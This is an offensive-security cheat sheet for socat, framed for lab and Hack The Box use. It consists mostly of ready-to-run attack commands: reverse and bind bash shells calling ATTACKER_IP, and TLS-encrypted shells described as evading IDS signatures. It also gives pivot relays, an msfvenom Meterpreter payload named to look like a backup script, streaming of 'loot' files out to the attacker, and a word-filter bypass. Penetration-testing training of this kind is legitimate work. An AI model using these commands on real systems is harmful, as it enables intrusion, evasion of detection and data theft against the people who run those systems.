Socat — Cheat Sheet
Summary
socat (SOcket CAT) is a bidirectional relay that connects any two data channels, sockets, files, pipes, PTYs, TLS tunnels, and processes, and pumps bytes between them. In offensive work it earns its place three ways: as a hardened catcher for reverse and bind shells (including fully interactive PTYs), as an encrypted transport that survives IDS inspection, and as a dependency-free redirector for pivoting when SSH is not available on the foothold. This sheet is a fast lookup for the exact command shapes, with the small flags that make the difference between a dumb shell and a stable one.
[!danger]+ Authorisation Boundary
- Use only against Hack The Box, lab, or explicitly authorised targets.
- Shells and relays cross network boundaries. Stay in scope and remove listeners, relays, and dropped binaries when finished.
Conceptual Information
Address syntax
Every socat invocation is socat [options] <address1> <address2>. socat opens both addresses and shuttles data between them. An address is a type plus comma-separated options, for example TCP4-LISTEN:4444,fork,reuseaddr.
| Address type | Meaning |
|---|---|
TCP4-LISTEN:PORT | Listen for an inbound TCP connection |
TCP4:HOST:PORT | Make an outbound TCP connection |
UDP4-LISTEN:PORT / UDP4:H:P | UDP equivalents |
EXEC:'cmd',... | Run a program and wire its stdio to the other address |
FILE: `tty`,raw,echo=0 | Attach the operator’s own terminal |
OPENSSL:H:P / OPENSSL-LISTEN:P | TLS-wrapped connection |
STDIO / - | Standard input/output |
| Common option | Effect |
|---|---|
fork | Handle each new connection in a child, so the listener survives disconnects |
reuseaddr | Rebind the port immediately without waiting out TIME_WAIT |
pty | Allocate a pseudo-terminal for the executed program |
stderr | Merge the program’s stderr into the channel |
setsid | Run in a new session so job control and signals behave |
sigint,sane | Forward Ctrl-C and reset sane terminal settings |
raw,echo=0 | Put the local terminal in raw mode with no local echo |
[!info]+ socat Overview
A multipurpose relay for bidirectional byte streams between two independent channels.
- Needs no SSH daemon or credentials on a pivot host, only the ability to run the binary.
- Wraps shells in a real PTY, giving arrow keys, tab-completion, and job control that plain
nccannot.- Speaks TLS natively, so shell traffic can be encrypted end to end.
Reverse Shells
The target connects back to you. Best when the target can reach out but you cannot reach in.
# Attacker: listener that hands the connection to your own terminal
socat -d -d TCP4-LISTEN:4444,fork,reuseaddr FILE:`tty`,raw,echo=0
# Target: connect back with an interactive bash PTY
socat TCP4:ATTACKER_IP:4444 EXEC:'bash',pty,stderr,setsid,sigint,sane
[!info]+ Command Breakdown
-d -draises verbosity so you see connection events, handy while debugging.FILE:``tty``,raw,echo=0binds your live terminal in raw mode, this is what makes the caught shell fully interactive.EXEC:'bash',pty,stderr,setsid,sigint,saneon the target spawns bash inside a PTY, forwards stderr, starts a new session, and keeps Ctrl-C and terminal settings sane.
[!success]+ Why this beats nc
- You get a real TTY: tab-completion,
su/sudoprompts that need a terminal,vi, and job control all work.- No need for the manual
python3 -c 'pty.spawn'upgrade dance.
Bind Shells
The target listens, you connect in. Best when the target accepts inbound connections but cannot call out.
# Target: listen and serve a bash PTY to whoever connects
socat TCP4-LISTEN:4444,fork,reuseaddr EXEC:'bash',pty,stderr,setsid,sigint,sane
# Attacker: connect and attach your terminal
socat FILE:`tty`,raw,echo=0 TCP4:TARGET_IP:4444
[!info]+ Command Breakdown
- The listen/exec sides are simply swapped compared with the reverse shell.
forkkeeps the target listener alive across reconnects, drop it for a strict one-shot.
Encrypted Shells (TLS)
Wrap the whole shell in TLS so an IDS sees only opaque ciphertext. Generate a cert once, then use OPENSSL addresses on both ends.
# Attacker: generate a self-signed cert + key, bundle to a .pem
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt \
-subj "/CN=update.local"
cat shell.key shell.crt > shell.pem
# Attacker: TLS listener
socat -d -d OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork FILE:`tty`,raw,echo=0
# Target: TLS connect-back with a PTY bash
socat OPENSSL:ATTACKER_IP:4444,verify=0 EXEC:'bash',pty,stderr,setsid,sigint,sane
[!warning]+ Encryption notes
verify=0disables certificate validation, fine for a lab, but it means no protection against interception. Use pinned certs for anything real.- TLS-wrapped shells defeat signature-based network detection that keys on plaintext shell prompts and commands.
- Only the
.pem(key + cert) is needed on the listener side, the target just needs to trust-skip withverify=0.
Redirection & Pivoting
socat as a relay: forward a port on a pivot host on to somewhere the attacker cannot reach directly. No SSH required.
# On the pivot: forward every inbound 8080 connection on to the attacker's 80
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
# On the pivot: forward inbound 8080 to an internal host's bind port 8443
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
[!info]+ Command Breakdown
TCP4-LISTEN:8080,forkaccepts many concurrent connections on the pivot,forkis essential for more than one.- For a reverse shell through a pivot, point the payload’s
LHOSTat the pivot’s internal IP, socat completes the hop to your listener.- For a bind shell through a pivot, point the Metasploit handler’s
RHOSTat the pivot, socat completes the hop to the target’s listener.
[!example]+ Metasploit through a socat redirector
# reverse_https payload aimed at the pivot, socat relays to your real handler msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 LPORT=8080 \ -f exe -o backupscript.exe # handler on the attack host # set payload windows/x64/meterpreter/reverse_https ; set lhost 0.0.0.0 ; set lport 80 ; run
File Transfer
# Receiver (attacker): write incoming bytes to a file
socat -u TCP4-LISTEN:9000,reuseaddr OPEN:loot.tar,creat
# Sender (target): stream a file out
socat -u FILE:/tmp/loot.tar TCP4:ATTACKER_IP:9000
[!tip]+ Transfer flags
-uis unidirectional (address1 to address2 only), the natural fit for a one-way copy.OPEN:file,creatcreates the destination, add,appendto concatenate.- TLS file transfer is the same with
OPENSSL/OPENSSL-LISTENaddresses.
Getting socat onto a Target
[!tip]+ When socat is not installed
- Check first with a filter-safe probe, e.g.
which socat(split the name if a word filter is in play:'w'h'i'ch${IFS}socat).- Grab a statically compiled socat binary and drop it via your existing RCE or file-transfer channel, then
chmod +x.- If neither works, fall back to
ncat --ssl --sh-exec(ships with Nmap) for a comparable encrypted shell.
Quick Reference
| Goal | Attacker | Target |
|---|---|---|
| Reverse shell | socat -d -d TCP4-LISTEN:4444,fork FILE:`` tty ``,raw,echo=0 | socat TCP4:IP:4444 EXEC:'bash',pty,stderr,setsid,sigint,sane |
| Bind shell | socat FILE:`` tty ``,raw,echo=0 TCP4:IP:4444 | socat TCP4-LISTEN:4444,fork EXEC:'bash',pty,stderr,setsid,sigint,sane |
| Encrypted rev | socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork FILE:`` tty ``,raw,echo=0 | socat OPENSSL:IP:4444,verify=0 EXEC:'bash',pty,... |
| Port redirect | socat TCP4-LISTEN:8080,fork TCP4:INTERNAL:PORT (on pivot) | connect to pivot:8080 |
| File pull | socat -u TCP4-LISTEN:9000 OPEN:loot,creat | socat -u FILE:loot TCP4:IP:9000 |
Lessons Learned
FILE:``tty``,raw,echo=0on your side plusEXEC:'bash',pty,stderr,setsid,sigint,saneon the target is the canonical fully-interactive shell, memorise it.forkon any listener is what lets it survive reconnects, forgetting it gives you exactly one shot per run.- TLS (
OPENSSL) shells encrypt traffic end to end and slip past plaintext signatures, a cheap evasion upgrade overnc. - For pivoting, the relay direction flips between reverse and bind shells: for reverse, socat sits between target and your listener, for bind, between your handler and the target’s listener.
- socat needs no SSH or credentials on the pivot, only the ability to execute the binary, which makes it ideal after a limited RCE or web shell.